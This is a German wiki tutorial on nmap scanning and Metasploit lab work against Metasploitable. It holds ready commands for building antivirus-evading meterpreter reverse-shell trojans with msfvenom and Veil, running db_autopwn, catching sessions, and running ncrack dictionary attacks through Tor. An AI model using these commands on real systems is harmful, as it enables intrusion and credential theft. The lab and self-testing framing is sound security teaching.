Portscan mit Nmap: Hosts/Rechner und offene Ports im Netzwerk finden und scannen

Aus DebianforumWiki
Zur Navigation springen Zur Suche springen
Wiki ‹ Netzwerk ‹ Portscan mit Nmap: Hosts/Rechner und offene Ports im Netzwerk finden und scannen


Um sich einen Überblick über das Netzwerk zu verschaffen, zu dem man verbunden ist, kann ein Portscan auf das Netzwerk durchführt werden, um verbundene Hosts und angebotene Services/Dienste bzw. offene Ports zu finden.

Unter Linux/GNOME kann der NetworkManager bzw. nmcli(1) verwenden werden, um sich die Netze anzuzeigen, zu denen man verbunden ist.

export LC_ALL=C # Damit der reguläre Ausdruck unten korrekt ist
lsip () {
>	nmcli -f uuid,device connection show --active \
>	| awk 'NR>1 && $2!="lo" {print $1}' \
>	| xargs nmcli -t connection show \
>	| sed -n -E "/^IP4\.ADDRESS\[[0-9]+\]:/{s///;p}"
> }

Und dann mit z.B. nmap(1) einen Standard Nmap scan ausführen, um sich alle Hosts anzuzeigen, die erreichbar sind (Ping), sowie deren offene Ports.

lsip | xargs nmap

Pingscan (auch Pinsweep genannt) zur Host-Erkennung

Mit der Option -sn lässt sich eine Host-Erkennung ohne Portscan durchführen. Die Option ersetzt die frühere Option -sP (Pingscan):

lsip | xargs nmap -oG - -sn | grep -E -o '([0-9]{1,3}\.){3}[0-9]{1,3}'

Vor einem Ping scan verstecken

Nmap sendet vor dem Portscan einen Ping, um die Erreichbarkeit einer IP-Adresse festzustellen und überspringt Adressen, die darauf keine Antwort senden (Pong). Damit keine Antwort gesendet wird, müssen folgende Kernel-Parameter gesetzt werden.

cat <<! >>/etc/sysctl.d/00-local.conf
> net.ipv4.icmp_echo_ignore_all=1
> net.ipv4.icmp_echo_ignore_broadcasts=1
> !
sysctl -p # Die sysctl-Einstellungen neuladen

Im Localnet können Geräte dennoch via ARP-Scan gefunden werden (Siehe weiter unten).

Alles scannen

Um den Ping scan zu deaktivieren und alle IP-Adressen zu scannen (-PN) und so auch verstecke Ports zu finden (-p), sowie die Betriebssystemerkennung (-O), die Versionserkennung (-sV), das Scannen mit Scripts (-sC) und traceroute (--traceroute) zu aktivieren und so mehr Details angezeigt zu bekommen, nutzt man folgende Parameter (Viele der genannten Parameter sind unter dem Parameter -A zusammengefasst. Dieser soll einen umfassenden Satz von Scan-Optionen aktivieren, ohne dass man sich viele Parameter merken muss).

lsip | xargs nmap -A -PN -oA "result-%F-%T" --script=vuln -sT -sU -p "T:0-65535,U:0-65535" --open

Ein solcher Scan benötigt allerdings auch entsprechend mehr Zeit und wird als aufdringlich betrachtet. Es gibt durchaus auch den einen oder anderen Nachteil: Die Scanning-Aktivität wird mit hoher Wahrscheinlichkeit bemerkt werden. Sie sollten dies nicht ohne Genehmigung anwenden. Außerdem benötigt dieser Scan erweiterte Rechte, haben Sie diese nicht, lassen Sie -sS und -sU weg, bzw. siehe auch: Running nmap as an unprivileged user.

Stealth-Scan (TCP SYN)

Stealth-Scans (-sS) nutzen verschiedene Techniken zum Suchen nach offenen Ports, die verhindern sollen, dass die Verbindungsanfragen bemerkt werden:

nmap -sS -p 0-65535

Eine weitere Möglichkeit ist es einen Scan zu fragmentierten (-f), wobei der TCP-Header auf mehrere Pakete verteilt wird, um eine Entdeckung zu erschweren.

Alternativen für die Funktion lsip

In Leserbriefen wurden noch Alternativen für die Funktion lsip aufgezeigt.

Hier ein für das Wiki adaptiertes Kommando, für Leute die NetworkManager nicht einsetzen.

ip -f inet -br a | awk '$1!="lo" && $2!="DOWN" {print $NF}'

Beide obigen Methoden haben Nachteile: Das ip(8) z.B. bei Point-to-Point-Verbindungen und dem Filtern des Output mit awk/sed/usw. und das nmcli(1) bei nicht mit dem NetworkManager verwalteten Interfaces. Wer das als Gefrickel ansieht, kann sich auch ein Perl-Skript schreiben, das sauber alle Netzwerke auflistet. Die dafür nötigen Module sind über CPAN oder die Paketverwaltung in den Paketen libio-interface-perl und libnet-netmask-perl vorhanden.

#!/usr/bin/env perl
use feature 'say';
use IO::Interface::Simple;
use Net::Netmask;
for ( IO::Interface::Simple->interfaces ) {
   if ( !$_->address ) {
       warn $_, ': has no address';
       next; 
   }
   next if ( !$_->is_running );
   next if ( $_->is_loopback );
   my $block = Net::Netmask->new( $_->address, $_->netmask );
   say $block;
}

Um die IP-Adresse statt des Netzes auszugeben, schreibt man folgendes Kommando.

say $_->address, '/', $block->bits;

Zenmap

Zuletzt noch ein Beispiel für den Aufruf von zenmap(1), das grafische Nmap frontend.

zenmap --nmap nmap -A `lsip | sort -u`

Nmap in Metasploit

Nmap kann auch direkt aus Metasploit heraus gestartet, und die Scanresultate dann in Metasploit verwendet werden. Dazu verfügt Metasploit über eine Datenbankanbindung, in der die Resultate verwaltet werden. Vor der ersten Verwendung muss dazu die Datenbank (Postgres) samt Tabellen initialisiert und gestartet werden:

msfdb init # start and initial the database

Wenn die Datenbank einmal erstellt ist, kann später mit msfdb run erst die Datenbank und dann die Metasploit Framework Konsole msfconsole(1) gestartet werden:

msfdb run # start the database and run msfconsole
msf > help # help menu

Innerhalb der Metasploit Framework Console kann nmap(1) anschließend mit dem Befehl db_nmap und den üblichen Parametern gestartet werden:

msf > db_nmap [usual nmap arguments] <targets>

Die Ergebnisse werden direkt in die Datenbank importiert. Alternativ kann auch ein Scanresultat s.o. importiert werden:

msf > db_import path/to/result.xml # import a scan result file

Nachdem db_nmap oder db_import ausgeführt wurde, können die Ergebnisse mit hosts und services ausgewertet werden. Verwenden Sie die Option --help für das Hilfemenü:

msf > hosts --up    # List all hosts in the database wich are up 
msf > services --up # List all services/ports in the database wich are up 

Hat man keine Arbeitsumgebungen in Metasploit eingerichtet, kann auch die komplette Datenbank leer neu erstellt werden:

msfdb reinit # delete and reinitialize the database

Metasploitable

Login

Für Metasploitable 2 gilt User msfadmin und Passwort msfadmin

Für Metasploitable 3 gilt User vagrant Passwort vagrant

Vagrant

Curl und Vagrant installieren, Vagrant ist eine Anwendung zum Erstellen und Verwalten virtueller Maschinen.

apt install curl vagrant # or apt install curl vagrant-libvirt

Benötigte Vagrant-Plugins installieren:

vagrant plugin install winrm winrm-elevated

Die Metasploitable 3 VMs installieren:

mkdir metasploitable3-workspace
cd metasploitable3-workspace
curl -O https://raw.githubusercontent.com/rapid7/metasploitable3/master/Vagrantfile
vagrant up --provider=virtualbox # or vagrant up --provider=libvirt

Vagrant-Plugins deinstallieren:

vagrant plugin uninstall <modul…>

Alle Vagrant-Befehle zeigt vagrant -h bzw. vagrant plugin -h, vagrant up -h und vagrant box -h

Vulnerability-Scanning mit Nmap

Die Nmap Skript-Kategorie vuln auf Metasploitable 3 anwenden:

db_nmap -sV --script vuln <targets…>
vulns

Bessere Vulnerability-Scanner sind OpenVAS, das als ein Fork von Nessus hervorgegangen ist oder auch Rapid 7 Nexpose. OpenVAS wird als VM aufgesetzt und soll i.d.R. periodisch ein Vulnerability-Scanning durchführen.


Ältere Versionen von Metasploitable

Auf VulnHub findet man auch die älteren Versionen 1 und 2 von Metasploitable:

Diese Versionen können für ältere Anleitungen noch von Relevanz sein. (VirtualBox kann auch mit den dort angebotenen VMDK-Dateien als Festplatten-Abbild umgehen.)

Hacking Metasploitable

Exploitation

Zum Hacken selbst soll jetzt erstmal nur auf andere Anleitungen verwiesen werden und diese bei Bedarf skizziert.

mad-metasploit

git clone https://github.com/hahwul/mad-metasploit

db_autopwn
git clone https://github.com/hahwul/metasploit-autopwn
ln -s /root/metasploit-autopwn/db_autopwn.rb /root/.msf4/plugins/
msfdb run
msf > db_nmap -sS -sV -O -p 0-65535 --open <targets…>
msf > load db_autopwn
msf > db_autopwn -e -p -R great
msf > sessions -l   # list all active sessions
msf > sessions -u 1 # update session to meterpreter
msf > sessions -i 1 # connect to a session

Eine Hilfe zu den Parameter gibt ‎db_autopwn -h‎ aus.

auxiliary/server/browser_autopwn2
msf > use auxiliary/server/browser_autopwn2
msf > run
auto_pass_the_hash.rc

msf > resource auto_pass_the_hash.rc

Maleware unter Kali erstellen

Hier soll vor allem gezeigt werden, dass eine solche Maleware von vielen Antivirus Programmen nicht erkannt wird. Allerding ist mittlerweile schon viel Zeit vergangen, und vieles wird Heute als Maleware erkannt und davor gewarnt. Teste deinen Antivirus-Scanner!

Einer .exe-Datei mit msfvenom(1) eine Payload anfügen
msfvenom -l payloads # To see what payloads are available (-p)
msfvenom -l encoders | grep excellent # Encoder auflisten (-e)
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -f exe -o maleware.exe -e x64/shikata_ga_nai -i 3 -x <path/to/template.exe> -k ‐b '\x00'

Für Linux funktioniert das auch:

msfvenom -p linux/x64/meterpreter/reverse_tcp lhost=127.0.0.1 lport=4444 -f elf -o maleware -e x64/shikata_ga_nai -i 3 -x <path/to/template> -k ‐b '\x00'

Die Output Datei (die Maleware/der Trojaner) ist dann eine manipulierte Version der Template Datei (Carrier Application). Prüfe diese A) mit einem Antivirus-Scanner und B) auf Funktionalität s.u.

Veil Evasion (https://www.veil-framework.com)

Veil ist eine weitere Möglichkeit Maleware vor Antivirus-Scanner zu verstecken.

apt install veil
/usr/share/veil/config/setup.sh
Listener für die Maleware erstellen und starten

Wurde die Maleware (Payload) ausgeführt, muss die Metapreter Session aktiviert und persistent gemacht werden s.u.

msfdb run
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > help # or ?
msf6 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_tcp
msf6 exploit(multi/handler) > help # or ?
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > set lhost 127.0.0.1
msf6 exploit(multi/handler) > set lport 4444
msf6 exploit(multi/handler) > show options
msf6 exploit(multi/handler) > run # or exploit

[!] You are binding to a loopback address by setting LHOST to 	127.0.0.1. Did you want ReverseListenerBindAddress?
[*] Started reverse TCP handler on 127.0.0.1:4444 
[*] Sending stage (3045380 bytes) to 127.0.0.1
[*] Meterpreter session 8 opened (127.0.0.1:4444 -> 127.0.0.1:45780) at 2023-09-08 14:20:58 +0200

meterpreter > help # or ?

Post-Exploitation

Hierbei geht es um die Rechteausweitung. Angestrebt sind Root-/Administratorrechte.

Persistent machen

Eine Meterpreter Session an einen anderen Prozess hängen, der länger lebt:

ps # listet alle entfernten Prozesse auf
migrate <pid> # hängt die Meterpreter Session an den angegebenen Prozess
ExploitDB-Verzeichnis durchsuchen (searchsploit)
apt install exploitdb # installiert u.a. searchsploit

Nun sucht man mit Stichworten nach einem Exploit den man lokal auf dem Ziel ausführt um erweiterte Rechte zu erhalten.

searchsploit <searchterm>

Ncrack: Wörterbuchangriff auf SSH-, Web- und Mail-Accounts

Nmap kann um Ncrack (In der Paketverwaltung im Paket ncrack zu finden) ergänzt und damit ein Wörterbuchangriff durchgeführt werden. Die Benutzernamen (Z.B. aus den Paketen seclists und wordlists) und Passwörter (Z.B. aus der rockyou.txt von Kali Linux) werden dazu unter ~/.ncrack/ gepflegt. Passwörter in ~/.ncrack/default.pwd und Benutzernamen in ~/.ncrack/default.usr; immer als Textdateien, die zeilenweise Benutzernamen bzw. Passwörter enthalten. Mit den Schaltern -U und -P können auch alternative Listen mit Benutzernamen und Passwörter an ncrack übergeben werden.

Die Angriffsziele übergibt man normalerweise mit dem Schalter -iL, welcher eine Textdatei erwartet, die zeilenweise die Ziele in der Form <service>://target[:port-number] enthält. Mit dem Schalter -iX bzw. -iN ist es aber auch möglich, direkt ein Scanresultat an ncrack(1) zu übergeben:

apt install ncrack
nmap -oX result.xml scanme.nmap.org
ncrack --save session.dat -iX result.xml -oA found-credentials-%F-%T

Der Schalter --save speichert die Session, um später, z.B. nach einem poweroff(8) mit dem Schalter --resume fortzusetzen. Es dürfen dann keine weiteren bzw. neue Parameter angegebenen werden:

ncrack --resume session.dat

Zum Debuggen kennt ncrack(1) die Schalter -v (für Verbose; der mehrfach angegeben werden kann, was die Informationsmenge erhöt) und -d1 bis -d10 (für Debug; wobei 1 bis 10 die Ausführlichkeit des Log bestimmt). Während ncrack(1) läuft, kann aber wie auch bei nmap(1), mit den Tasten v/V und d/D jeweils das Verbose- bzw. Debuglevel erhöht bzw. verringert werden und mit der Taste p bzw. P gefundene Logins anzeigt. Die ?-Taste zeigt dazu die komplette Hilfe an.

Über tor(1) scannen

Mit dem Schalter --proxy kann z.B. das Netzwerk zur Anonymisierung von Verbindungsdaten, Tor als SOCKS-Proxy genutzt werden:

apt install tor
ncrack <options…> --proxy socks4://localhost:9050

Sichere Passwörter

Die Kommandos pwgen -s und apg -s erzeugen relativ sicher Passwörter, die in keiner Passwortliste enthalten sein werden. Die Programme befinden sich in den gleichnamigen Paketen.

Mittlerweile erzeuen aber auch schon Browser wie Firefox selbst Passwörter für ein Login im Internet. So das dafür kein eigener Passwortgenerator mehr benötigt wird.

Passwort vs. Passpharse

Angemerkt sei noch, dass ein kurzes Passwort mit größerem Zeichensatz, die gleiche Zeit benötigt um erraten zu werden, wie eine lange Passpharse mit kleinerem Zeichensatz.

Hydra

Das Programm Hydra bietet auch einen Wörterbuchangriff und kann z.B. auch Webformulare u.ä. ausfüllen. Es ist Ncrack in dem Punkt überlegen.

ARP-Scan mit Netdiscover

Das Ergebnis von netdiscover in einer Konsole

netdiscover scannt alle erreichbaren Netze nach vorhandenen hosts, auch ohne DHCP. Es ist ein konsolenbasierter ARP Scanner.

Download

netdiscover in debian packages

Über apt installieren

apt-get install netdiscover

zmap

ZMap ist ein Netzwerkscanner, der es ermöglicht, auf einfache Weise internetweite Netzwerkstudien durchzuführen. Mit einem einzigen Rechner und einem gut ausgestatteten Netzwerk-Uplink ist ZMap in der Lage, einen vollständigen Scan des IPv4-Adressraums in weniger als 45 Minuten durchzuführen und nähert sich damit der theoretischen Grenze von Gigabit-Ethernet.

Über apt installieren

apt-get install zmap

Subdomains finden

Im Debian Archiv gibt es einige Tools (z.B. dnsmap, dnsrecon) die Anhand einer Wordlist nach Subdomains scannen. Hier sei als Alternative das Nmap-Script dns-brute genannt:

nmap -Pn --script dns-brute --script-args dns-brute.threads=96,dns-brute.hostlist=wordlist -iL targets -oA results
xpath -q -e '//elem[@key="hostname"]/text()' results.xml | sort -u

Die Datei wordlist enthält zeilenweise die Subdomains und targets die Domains, die gescannt werden sollen (beide male ohne das Trennzeichen Punkt am Anfang oder Ende, in der Mitte der Menge möglich). Kopiere zu Beginn als worldlist einfach /usr/share/nmap/nselib/data/vhosts-full.lst oder /usr/share/nmap/nselib/data/vhosts-default.lst an diese Stelle.

Das sort -u ist nötig, da einige Subdomains mit verschiedenen IP-Adressen gefunden und alle aufgelistet werden.

Meine wordlist umfasst bisweilen 22069 Einträge (Aus bekannten Projekten zusammengetragen). Wem bei dieser Menge auch das DNS um die Ohren fliegt und die Namensauflösung kaputt geht, kann das Script etwas anpassen. Für mich tut ein Delay den Job, wie auch bei den anderen Programmen s.o.:

$ diff -c /usr/share/nmap/scripts/dns-brute.nse ~/.nmap/scripts/dns-brute.nse 
*** /usr/share/nmap/scripts/dns-brute.nse	2023-01-16 21:23:39.000000000 +0100
--- /home/user/.nmap/scripts/dns-brute.nse	2023-11-24 10:15:23.919908143 +0100
***************
*** 30,35 ****
--- 30,36 ----
  -- @args dns-brute.srvlist  The filename of a list of SRV records to try.
  --                          Defaults to "nselib/data/dns-srv-names"
  -- @args dns-brute.domain   Domain name to brute force if no host is specified
+ -- @args dns-brute.maxdelay Seconds to wait. Default is randomly 0 up to 3 seconds.
  --
  -- @see dns-nsec3-enum.nse
  -- @see dns-ip6-arpa-scan.nse
***************
*** 129,137 ****
--- 130,153 ----
    return record
  end
  
+ local function random_sleep(min, max)
+   math.randomseed(os.time())
+   randwait = math.random(min, max)
+   time=os.time()
+   newtime=time+randwait
+   while (time<newtime)
+   do
+     time=os.time()
+   end
+ end
+ 
  local function thread_main(domainname, results, name_iter)
    local condvar = nmap.condvar( results )
+   local maxdelay = tonumber( stdnse.get_script_args('dns-brute.maxdelay') ) or 3
    for name in name_iter do
+     if maxdelay > 0 then
+       random_sleep(0, maxdelay)
+     end
      for _, dtype in ipairs({"A", "AAAA"}) do
        local res = resolve(name..'.'..domainname, dtype)
        if(res) then

Patch anwenden:

cp /usr/share/nmap/scripts/dns-brute.nse ~/.nmap/scripts/dns-brute.nse
patch -c ~/.nmap/scripts/dns-brute.nse patchfile.text.patch

DNS-Zonentransfer

Mit dem DNS-Zonentransfer besteht die Möglichkeit, DNS-Datenbanken zwischen DNS-Servern zu replizieren. Über diesen Weg ist somit das Auslesen aller Subdomains mit nur einem Befehl möglich:

dig axfr example.net

Allerdings ist ein DNS-Zonentransfer i.d.R. nicht erlaubt und korrekterweise gesperrt.

Inhalte/Dateien finden

Im Debian Archiv gibt es einige Tools (z.B. dirb) die Anhand einer Wordlist nach Dateien auf HTTP- und/oder FTP-Servern scannen. Hier seien als Alternative die Nmap-Scripte http-backup-finder und http-config-backup genannt:

Wortlisten finden

Hier eine kleine Auswahl an Bezugsquellen für Wortlisten:

targets finden

Neben der Domain scanme.nmap.org des Nmap Projects, gibt es noch die Domain www.megacorpone.com von Offensive Security.

Weiteres